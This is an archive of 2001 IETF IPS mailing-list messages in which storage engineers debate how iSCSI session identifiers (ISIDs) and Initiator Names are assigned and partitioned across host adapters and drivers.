12:13:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87GDBP27330 for ; Fri, 7 Sep 2001 12:13:11 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 12:13:05 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD70B@CORPMX14> From: Black_David@emc.com To: Jp.Raghavendra@sun.com, ips@ece.cmu.edu Subject: RE: iSCSI: ISIDs Date: Fri, 7 Sep 2001 12:06:29 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > I understand that not all operating systems would ship > with these OS level "resource managers" in the nearest > possible future - what this means is that you can not > share Initiator Name if no such "isid manager" exists > at the OS level. Isn't the same true for "session manager" ? No - if one is prepared to treat every interface/adapter as a separate portal group (i.e., an individual session uses only one interface/adapter), one can share the Initiator Name without the need for a "session manager", but the "isid manager" would still be needed to manage ISIDs across the interfaces/adapters. Thanks, --David > -----Original Message----- > From: JP Raghavendra Rao [mailto:Jp.Raghavendra@sun.com] > Sent: Friday, September 07, 2001 11:17 AM > To: ips@ece.cmu.edu > Subject: RE: iSCSI: ISIDs > > > > I guess I screwed up what I wanted to say in my previous > posting. I was trying to compare ISID assignment problem > with "session management" with regard to the need for an > independent, OS level management entity. We need an in-kernel > "session manager" to manage sessions spanning interfaces/adapters. > And why can not a similar manager (call it "isid manager") > exist if an interface/adapter is to share Initiator name ? > > I understand that not all operating systems would ship > with these OS level "resource managers" in the nearest > possible future - what this means is that you can not > share Initiator Name if no such "isid manager" exists > at the OS level. Isn't the same true for "session manager" ? > > -JP > > > > > > > If an interface/adapter is sharing Initiator Name with other > > > interfaces/adapters, iSCSI *REQUIRES* that there be a higher > > > level "session manager" (in the OS) to manage various things > > > like Task Tags, Sequence numbers, Exp StatSN, etc. And I don't > > > understand why ISID assignment can not be managed by the > > > same "session manager". > > > > That's not exactly true. There are two sorts of coordination that > > can be necessary if an Initiator Name spans interfaces/adapters: > > > > (1) Task Tags, Sequence Numbers, ExpStatSN, etc. WHEN an individual > > session spans interfaces/adapters. The set of spannable > > interfaces/adapters is called a "portal group". > > (2) ISID assignment to different sessions in the same or different > > portal groups. > > > > > How is ISID assignment a unique problem > > > compared to the rest of various shared session level parameters ? > > > > Because ISID assignment is a separate problem. One still has to > > coordinate ISID assignment across interfaces/adapters even if > > *every* session has exactly one connection and hence can't span > > interfaces/adapters. > > > > > If an interface has a unique Initiator Name, it can assign > > > an ISID of its own. > > > > Right, but if every interface is its own portal group underneath > > the same Initiator Name (i.e., sessions don't span interfaces, > > but the iSCSI Initiator does), ISID assignment still has to be > > coordinated across interfaces/adapters even though there's no > > "session manager" needed across interfaces/adapters. > > > > Thanks, > > --David > > > > --------------------------------------------------- > > David L. Black, Senior Technologist > > EMC Corporation, 42 South St., Hopkinton, MA 01748 > > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > > black_david@emc.com Mobile: +1 (978) 394-7754 > > --------------------------------------------------- > > > > > > > -----Original Message----- > > > From: JP Raghavendra Rao [mailto:Jp.Raghavendra@sun.com] > > > Sent: Friday, September 07, 2001 10:32 AM > > > To: ips@ece.cmu.edu > > > Subject: Re: iSCSI: ISIDs > > > > > > > > > > > > If an interface/adapter is sharing Initiator Name with other > > > interfaces/adapters, iSCSI *REQUIRES* that there be a higher > > > level "session manager" (in the OS) to manage various things > > > like Task Tags, Sequence numbers, Exp StatSN, etc. And I don't > > > understand why ISID assignment can not be managed by the > > > same "session manager". How is ISID assignment a unique problem > > > compared to the rest of various shared session level parameters ? > > > > > > If an interface has a unique Initiator Name, it can assign > > > an ISID of its own. > > > > > > -JP > > > > > > > > > > > Time to back up and regroup on this topic. It's clear that ISID > > > > management needs more attention, and hence there are some issues > > > > more basic than the attempted consensus call to work out. So, > > > > I'm going to abandon the attempted consensus call, and try to > > > > make progress on the underlying ISID issue. Those whose posts > > > > have called ISID management into question should not feel it > > > > necessary to apologize - this is an important issue to > unscramble. > > > > > > > > A rough summary of where we find ourselves is: > > > > - iSCSI Initiator Names span network interfaces/adapters, > > > > as do iSCSI Target Names. > > > > - Multiple sessions are allowed between an iSCSI Initiator > > > > and Target. These are identified by an ISID and a > > > > TSID. > > > > - The ISID is the Initiator portion of the Session identifier > > > > and is used to track certain resources associated with > > > > the session (e.g., persistent reserves). > > > > - The TSID is the Target portion of the Session identifier, > > > > and serves primarily to make sure that all session > > > > identifiers (SSID = ISID||TSID) are unique at the > > > > Target. > > > > > > > > Michael Schoberg suggest getting rid of the ISID: > > > > > > > > > ISID - initiator-defined session-identifier > > > > > > > > > > Since initiators don't know about other initiators > > > connected to this > > > > target, > > > > > this has the potential of causing problems. > Eliminate it. The > > > initiator > > > > > should simply state it's intentions of establishing a new > > > session or > > > > adding > > > > > a connection to an existing session (via binary flags). > > > > > > > > The implication of this would be to make SSID = TSID, > dynamically > > > > assigned by the Target (0 is a reserved value on Login > asking Target > > > > to do this assignment), and partitioned appropriately > > > across interfaces. > > > > Recoverable session resources would be associated with the > > > combination > > > > of at the iSCSI Target, and > > > the initiator > > > > tracks via - in both cases the > > > TSID replaces > > > > the ISID. From a functional standpoint, this looks > like it works, > > > > and has the nice additional property that session > resources can be > > > > recovered through any iSCSI Initiator interface vs. having > > > to go back > > > > to the one that's allowed to use the ISID for that > session if ISIDs > > > > are statically partitioned. > > > > > > > > Does this cause any problems for the SAM-2 to iSCSI mapping? > > > > > > > > Thanks, > > > > --David > > > > > > > > --------------------------------------------------- > > > > David L. Black, Senior Technologist > > > > EMC Corporation, 42 South St., Hopkinton, MA 01748 > > > > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > > > > black_david@emc.com Mobile: +1 (978) 394-7754 > > > > --------------------------------------------------- > > > > > > > From owner-ips@ece.cmu.edu Fri Sep 7 13:24:02 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA21192 for ; Fri, 7 Sep 2001 13:24:01 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87G9XH27094 for ips-outgoing; Fri, 7 Sep 2001 12:09:33 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87G9TP27088 for ; Fri, 7 Sep 2001 12:09:29 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id MAA61928; Fri, 7 Sep 2001 12:07:08 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f87G9Cb55092; Fri, 7 Sep 2001 10:09:12 -0600 Importance: Normal Subject: RE: iSCSI: login issue - partial consensus call To: , ips@ece.cmu.edu From: "Jim Hafner" Date: Fri, 7 Sep 2001 09:09:09 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/07/2001 09:09:11 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Eddy, I think one way to view your proposal (and one which I more or less dropped sometime ago, but may want to resurrect) is that you're assigning the Initiator Name to the SCSI Initiator Port and the Host Name to the SCSI Device. You've effectively created a two-level naming scheme. You propose then a Text keys=HostName and InitiatorName and both of these have to get sent during login. Rather than turning the cart over completely, let's take a different tact for this. Let's have the iSCSI Initiator Name name the host (as we've had it so far). Let's allow for an 'extension' on this name that further qualifies a subcomponent. So, if my InitiatorName="iqn.2001-08.com.jlh", then I have have statically assigned names like "iqn.2001-08.com.jlh:port1", etc. Each of these new names would name a SCSI Initiator Port and within that name space we'd have uniqueness of ISIDs. Now, I can get this information over the wire at login with either initiatorname=iqn.2001-08.com.jlh portext=port1 (and use initiatorname for authentication) OR initiatorname=iqn.2001-08.com.jlh:port1 AND make the presumption that everything before the : in the initiator name is used for authentication, the rest is ignored. Note that the 'port1' extension could easily be the portal group tag. Note also, that the first of these is equivalent to your proposal, just with keys reversed. However, your proposal would require two levels of world wide uniqueness, since both the hostname and the initiatorname would have to be unique. (Unless the initiator name was assigned to adapters from the outside in exactly the same manner as we need to assign ISIDs today!) In short, the effect is exactly the same as you propose, either by adding a different key explicitly or implicitly. I abandoned this approach for two reasons. First, it added more complexity to the basic protocol (more keys or more assumptions). Second, the "port1" extension is just another name 'self-assigned' by the initiator (through some undefined mechanism) and I didn't see any functional difference between assignment of this extension and assignment of ISIDs! The ISID was already an 'extension' to the initiatorname and already in the login request. What functional gain did we get by adding another field where we put another 'piece' of a name? Jim Hafner "Eddy Quicksall" on 09/07/2001 06:33:10 am Please respond to To: Jim Hafner/Almaden/IBM@IBMUS, cc: Subject: RE: iSCSI: login issue - partial consensus call Jim, Thanks, this helps a lot. The problem I had was that David Black said: "the iSCSI Initiator Name is supposed to refer to the host into which the HBAs are plugged" So I was trying to rationalize that. The problem I have with this is that it will be difficult to get all HBAs and OS's to agree on how this InitiatorName is going to become known to the HBAs and how the ISIDs are going to be distributed to the HBAs. Especially when the best place for a SCSI HBA in the windows world is as a Miniport. So, I was thinking that the definition of InitiatorName should allow this. I think your explanation below does allow this. I think my original message way down below fits your definition. So, I attempted to suggest a definition of InitiatorName that would allow both what you have said and what David said. When I said "unique", I was a bit vague. What I meant was that the host could have several InitiatorNames and each InitiatorName would be responsible for his creation of unique ISID's. Now, I'm wondering why we are even trying to use the ISID to reset a session when we should be using the TSID ... because the target can produce unique TSIDs and use that to identify the session much more easily than using the combination of InitiatorName and ISID. Someone mentioned an issue with authentication ... that process should not require all HBA names to be known. Two things here: 1) if several HBAs are being shared by a common driver, the driver is well aware of the HBA manufacturer (it is probably produced by the HBA manufacturer) and the driver can be the InitiatorName (and hence distribute ISIDs to its HBAs). 2) but that does not fully cover the authentication point. i.e., that the OS should be the apex for authentication. For that, we could have a HostName. If an HBA does not want to play in that arena (because it is on a private network), it could give a NULL for the HostName. Eddy -----Original Message----- From: Jim Hafner [mailto:hafner@almaden.ibm.com] Sent: Thursday, September 06, 2001 4:55 PM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Eddy, I'll try to take a crack at this question. The problem is that the word "initiator" is being overused in these discussions (same for "target"). I personally try to make a distinction in every case, even if I sound pendantic. In almost all cases in the iSCSI spec (and I think rev-08 will make this explicit), the word 'initiator' means iSCSI initiator (an iSCSI Node doing client stuff) unless otherwise qualified. The iSCSI Initiator has exactly one iSCSI Name. An OS may have one such iSCSI Initiator in it, or it may have several (depends on how you want to use them, but access rights etc are supposed to be bound to the name, so fewer nodes in an OS means fewer names means less configuration and more consistent views of storage within the host). An iSCSI Initiator can have multiple network interfaces, lumped into groups (portal groups) with the property that within each portal group, a cross network interface multiple connection session can be built. For example, I could have two iSCSI HBAs, each with dual ethernet ports (and possibly different addresses for each port). Ideally, this is one iSCS Initiator, with two portal groups. The other context of 'initiator' is "SCSI Initiator" and that further qualifies to "SCSI Initiator Port" and 'SCSI initiator device'. In our case, the SCSI initiator device is 'attached' to the iSCSI Initiator (node) and there is only one such attachment. The SCSI Initiator ports are (as defined now) the initiator end points of sessions (are dynamically created). I hope that much is clear. I've annotated your questions/quotes below with my interpretation of which context the word initiator is implied. Jim Hafner "Eddy Quicksall" @ece.cmu.edu on 09/06/2001 09:50:02 am Please respond to Sent by: owner-ips@ece.cmu.edu To: , cc: Subject: RE: iSCSI: login issue - partial consensus call David, Now, I'm really confused... I just read through the spec and I don't see where it mentions the "Initiator" as you have presented it below. Can you please give me a reference? Section 1.1 appears to define "initiator" as: Clients of a SCSI interface are called "initiators". iSCSI Initiator" Initiators are one endpoint of a SCSI transport. I think this is "iSCSI Initiator"; however, it is not unrelated to the binding of one iSCSI Initiator to one SCSI Initiator Device, so you can probably read both of these terms here. Section 1.2.1 says: The group of TCP connections that link an initiator with a target, form a session (loosely equivalent to a SCSI I-T nexus). iSCSI Initiator and iSCSI Target; it's the session which is loosely equivalent to an I_T nexus. That does not seem to be consistent with your definition. In parallel SCSI, you can have two different initiators SCSI Initiator Port talking to the same target SCSI Target Port with both initiators on the same host SCSI Initiator Device (or perhaps even finer than that) ... your use of Initiator to interpret David, I think this was iSCSI Initiator Node does not seem to be consistent that that because you would allow only one Initiator (the host). Also, if the InitiatorName is the name of the host, how does an independent HBA find out the name? I would like to propose that "Initiator" refers to that end point which is maintaining unique ISID's. I believe this definition would be consistent with all that is in the spec. I'm not clear what you mean with this definition. "unique ISIDs" with respect to a particular target or globally unique? The later is not a requirement. The former is a requirement. However, "maintaining" is ambiguous. If an iSCSI Initiator Node partitions its ISID space among its portal groups (think HBAs here as is being discussed), then each portal group is maintaining its portion of the ISID space according to the uniqueness rules, but it's also true that by the simple act of partitioning, the iSCSI Initiator Node is doing the same thing. So who is the "maintainer" in your case, the node or the portal group? Eddy -----Original Message----- From: Black_David@emc.com [mailto:Black_David@emc.com] Sent: Thursday, September 06, 2001 11:42 AM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Nope, the iSCSI Initiator Name is supposed to refer to the host into which the HBAs are plugged (or, more precisely, the OS instance using the HBAs for systems that support multiple OS instances). If we were to change the naming approach to associate Initiator identities with network interfaces, this particular issue gets easier, but we'd have to take another hard look at why multiple sessions are allowed between the same Initiator and Target (ditto multiple connections per session). --David > -----Original Message----- > From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] > Sent: Thursday, September 06, 2001 10:57 AM > To: Nick.Martin@compaq.com; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > But wouldn't the two different vendors you mention below have > different > iSCSI Initiator Names? Remember, the Initiator is not the > host, it is the > HBA in this case. > > If two different HBA's are going to play together then a > common driver would > be used and the driver would provide the iSCSI Initiator > Name. Then, the > ISID would be properly maintained by the driver. > > Think of the Initiator Name as the owner of the ISID's for that name. > > Eddy > > -----Original Message----- > From: Martin, Nick [mailto:Nick.Martin@compaq.com] > Sent: Wednesday, September 05, 2001 5:50 PM > To: KRUEGER,MARJORIE (HP-Roseville,ex1); ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > Marj, > > You mention vendors not knowing how to play right. > The problem is that iSCSI does not and will not specify how two HBAs > from different vendors installed in the same Initiator should or could > get a range of ISIDs for their exclusive use. This will be operating > system specific and vendor defined. It is uncertain that the > same tool > or repository would be used by all HBA vendors in any environment. > Given this, accidental overlap in ISID space is not unlikely. > > Given that there is no one way to play right, we must make sure that > everyone can at least play nice. > > My expectation is that sessions are infrequently established and long > lived. ISIDs may be re-used at will by their current owners. When no > "already owned" ISIDs are available, or an attempt to re-use > an "already > owned" ISID failed, and HBA would need to a) "probe" for a > new available > ISID or b) fail the request to establish the session. > Session recovery > should not be attempted unless a session is known to have failed. > > If tools are available, and the administrator has used them correctly, > then HBAs will not collide in ISID space. If the tools are not > available or were not used correctly, I would hope the second HBA can > still attempt to come up without impacting the sessions established by > the first. > > Again, I state my support for a login with existing ISID harmlessly > fails (the Target state does not change) unless a session recovery > indicator is set. Also if a session recovery indicator is > set, and the > ISID is not in use (by this Initiator at this Target), the login also > fails. > > Thanks, > Nick > -----Original Message----- > From: KRUEGER,MARJORIE (HP-Roseville,ex1) > [mailto:marjorie_krueger@hp.com] > Sent: Friday, August 31, 2001 12:09 PM > To: Martin, Nick; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > > In particular this enables independent agents within the same > initiator to > > attempt a login without knowing all ISIDs in use by other agents. > Each > > agent would know the ISID of sessions it had successfully > established, > but > > not the ISIDs for sessions established by others. It can use the > ISIDs it > > knows to recover sessions it owns. If an agent gets a failure > attempting > to > > establish a new session, it would pick a different ISID and > > retry (or just quit), rather than disrupting a session of another > agent. > > The intent of the presentation on SCSI/iSCSI modeling, and the text in > the > draft, is to illustrate how this example is not a recommended > implementation > choice due to the probability of violating the SCSI/iSCSI > rules pointed > out. > If the "independant agents" had partitioned the ISID space, > there would > be > no collision on login and no time wasted. Your illustrated > implementation > could spend significant time "trying" ISID's in use by the "other > agents". > > However, I'm starting to have more sympathy with Julian's concerns due > to > the apparent risks of different vendors' initiator implementations not > following the rules. > > I just imagined having vendor A's HBA installed and happily servicing > applications, installing vendor B's "plug-n-play" implementation, and > having > all A's sessions aborted cause B doesn't know how to play right :-( > > Marj > From owner-ips@ece.cmu.edu Fri Sep 7 13:54:25 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA22112 for ; Fri, 7 Sep 2001 13:54:24 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87GNIC29934 for ips-outgoing; Fri, 7 Sep 2001 12:23:18 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87GNDP29929 for ; Fri, 7 Sep 2001 12:23:14 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id MAA13640; Fri, 7 Sep 2001 12:20:54 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f87GN5b84686; Fri, 7 Sep 2001 10:23:05 -0600 Importance: Normal Subject: RE: iSCSI: login issue - partial consensus call To: , ips@ece.cmu.edu From: "Jim Hafner" Date: Fri, 7 Sep 2001 09:23:03 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/07/2001 09:23:05 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Eddy, I have ideas on how this ought to be done, analogous to way that InitiatorName would get assigned. Take WinXX for example, I'd have a well-defined registry key where the miniports would look for their InitiatorName. The install of the first iSCSI miniport driver would look for that key, not find it and then instantiate whatever name is provided by the software installer. After that, any other driver installation (hopefully all driver installers would use the same key) would see that value and accept it. If not, then they could use another vendor-key which would render them as being a 'separate iSCSI Node' (and the conflict issues go away). In a similar way, the registry could hold ranges of ISIDs for each driver that installed. A driver on installation would claim some range of ISID's not already claimed by other drivers. If a driver claimed too many, then the next install might fail or trigger a management interface to reassign. If a driver didn't play by these rules (either because it didn't want to or was broken) then the customer probably get a new vendor! Right now, miniport drivers already get some (typically vendor-specific) information from the registry. There is no reason to believe WE can't cooperate in determining well-known keys for this purpose. I suggested in a private e-mail with David Black that we could make this ISID partitioning assignment a bit easier. For example, if we simply had in the registry a 'counter' for each miniport as it loaded. This counter could map nicely to a Portal Group Tag. Then we embed the portal group tag in the ISID (in some field within the ISID). Then you get explicit partitioning of ISIDs without a direct management interface that can screw up (David's concern). The drivers effectively enumerate themselves (and perhaps multiple portal groups for each driver, as needed) and the rest is for free. I think that drivers already enumerate themselves anyway, so this shouldn't be a problem. Similar things could happen for Unix and friends by just having a defined /etc/initiatorname file and enumeration of the drivers in /dev/iscsi. I didn't think this was such a big deal! Jim Hafner "Eddy Quicksall" @ece.cmu.edu on 09/07/2001 06:51:06 am Please respond to Sent by: owner-ips@ece.cmu.edu To: John Hufferd/San Jose/IBM@IBMUS, "Sandeep Joshi" cc: Subject: RE: iSCSI: login issue - partial consensus call John, We really should do this so a driver can be written for existing OS's. How would you hand out ISIDs when a Miniport is being loaded? Eddy -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Thursday, September 06, 2001 3:21 PM To: Sandeep Joshi Cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call I understand you point, however, the discussion we had on this, talked about each HBA needing to have an install process that is OS specific. It was suppose to be an OS specific install or startup process that handed out the ISIDs (or ISID ranges). I think your point is that you wish that there was no reason to interact with the OS, in order to get installed. I do not think that is a good assumption. It is the OS that needs to let the HBA know what the iSCSI Initiator Node Name is, so that the HBA can configure to use it. It might as well hand out the ISIDs at the same time. You are suggesting that making the ID of the iSCSI HBA only a HW item. This is not where we came down previously. You want to make your job of interfacing with the OS, simpler, and put more burden on the administrator. This was the mistake we made with FC and I would not like to see that repeated here. You say that there needs to be Jumpers or switches, well this is up to your adapter. We use to do that kind of stuff before the Plug and Play started working with the OS. We need to work with the OS in a similar manor. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Sandeep Joshi @research.bell-labs.com on 09/06/2001 11:44:00 AM Sent by: sandeepj@research.bell-labs.com To: John Hufferd/San Jose/IBM@IBMUS cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call John, Is this what you are referring to ? (Sec 1.3 of Naming & Discovery) > b) The ISID name space of the iSCSI Initiator should be partitioned > among the intiator portal groups. How do you perceive this will be achieved in practice ? This can turn out to be an nightmare for HBA vendors. IRQ settings, jumpers, or setup programs which run at boot instantly come to mind. Ideally, ISIDs should work as SCAM works but that would involve adding a mid-layer to OSes, to distribute that ISID name space. Modifying OSes in the field is tough, as we all know. I realize the standard wont mandate such configuration items but I'd rather we not add rules which would force such configuration tweaks to become necessary. We should reconsider the above rule and its consequence on the login issue Nick brought up. Regards, -Sandeep John Hufferd wrote: > > By the way, the OS is also suppose to have a way to hand out (partition up) > ISIDs to the various iSCSI Initiator functions, whether they are Software > or Hardware. > > So, even though, I was initially swayed by Nick's Arguments -- we require > the OS to partition up the ISID space and hand out specific ISIDs or ranges > of ISIDs (in some manor) to the iSCSI Initiator functions (regardless of > whether they are in Software or Hardware) -- I do not now see, if the > implementation is as specified in our spec., how there is a conflict in > ISID. > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Fri Sep 7 13:59:44 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA22287 for ; Fri, 7 Sep 2001 13:59:43 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87Ghmi01265 for ips-outgoing; Fri, 7 Sep 2001 12:43:48 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87GhjP01259 for ; Fri, 7 Sep 2001 12:43:46 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id MAA45870; Fri, 7 Sep 2001 12:41:22 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f87Ghab171048; Fri, 7 Sep 2001 10:43:36 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iSCSI: login issue - partial consensus call To: Cc: X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Fri, 7 Sep 2001 09:42:54 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/07/2001 10:43:36 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I would hand these out one after the other first Miniport gets ISID of 1, next 2, etc. Now I know you could have said the above, so I probably I did not interpret your statement correctly. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com "Eddy Quicksall" @ece.cmu.edu on 09/07/2001 06:51:06 AM Please respond to Sent by: owner-ips@ece.cmu.edu To: John Hufferd/San Jose/IBM@IBMUS, "Sandeep Joshi" cc: Subject: RE: iSCSI: login issue - partial consensus call John, We really should do this so a driver can be written for existing OS's. How would you hand out ISIDs when a Miniport is being loaded? Eddy -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Thursday, September 06, 2001 3:21 PM To: Sandeep Joshi Cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call I understand you point, however, the discussion we had on this, talked about each HBA needing to have an install process that is OS specific. It was suppose to be an OS specific install or startup process that handed out the ISIDs (or ISID ranges). I think your point is that you wish that there was no reason to interact with the OS, in order to get installed. I do not think that is a good assumption. It is the OS that needs to let the HBA know what the iSCSI Initiator Node Name is, so that the HBA can configure to use it. It might as well hand out the ISIDs at the same time. You are suggesting that making the ID of the iSCSI HBA only a HW item. This is not where we came down previously. You want to make your job of interfacing with the OS, simpler, and put more burden on the administrator. This was the mistake we made with FC and I would not like to see that repeated here. You say that there needs to be Jumpers or switches, well this is up to your adapter. We use to do that kind of stuff before the Plug and Play started working with the OS. We need to work with the OS in a similar manor. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Sandeep Joshi @research.bell-labs.com on 09/06/2001 11:44:00 AM Sent by: sandeepj@research.bell-labs.com To: John Hufferd/San Jose/IBM@IBMUS cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call John, Is this what you are referring to ? (Sec 1.3 of Naming & Discovery) > b) The ISID name space of the iSCSI Initiator should be partitioned > among the intiator portal groups. How do you perceive this will be achieved in practice ? This can turn out to be an nightmare for HBA vendors. IRQ settings, jumpers, or setup programs which run at boot instantly come to mind. Ideally, ISIDs should work as SCAM works but that would involve adding a mid-layer to OSes, to distribute that ISID name space. Modifying OSes in the field is tough, as we all know. I realize the standard wont mandate such configuration items but I'd rather we not add rules which would force such configuration tweaks to become necessary. We should reconsider the above rule and its consequence on the login issue Nick brought up. Regards, -Sandeep John Hufferd wrote: > > By the way, the OS is also suppose to have a way to hand out (partition up) > ISIDs to the various iSCSI Initiator functions, whether they are Software > or Hardware. > > So, even though, I was initially swayed by Nick's Arguments -- we require > the OS to partition up the ISID space and hand out specific ISIDs or ranges > of ISIDs (in some manor) to the iSCSI Initiator functions (regardless of > whether they are in Software or Hardware) -- I do not now see, if the > implementation is as specified in our spec., how there is a conflict in > ISID. > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Fri Sep 7 14:00:04 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA22308 for ; Fri, 7 Sep 2001 14:00:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87GPFG00079 for ips-outgoing; Fri, 7 Sep 2001 12:25:15 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e34.bld.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87GPBP00065 for ; Fri, 7 Sep 2001 12:25:11 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e34.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id MAA11624; Fri, 7 Sep 2001 12:22:52 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f87GNnb136766; Fri, 7 Sep 2001 10:23:50 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iSCSI: ISIDs To: Black_David@emc.com Cc: "Jim Hafner" , ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Fri, 7 Sep 2001 09:22:51 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/07/2001 10:23:49 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk David, Your reply is not clear. Please explain how the TSID would be formed in the parallel session mode on the initiator (with a Wedge Driver in use)? Then how would the session be cleaned up on reboot? . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 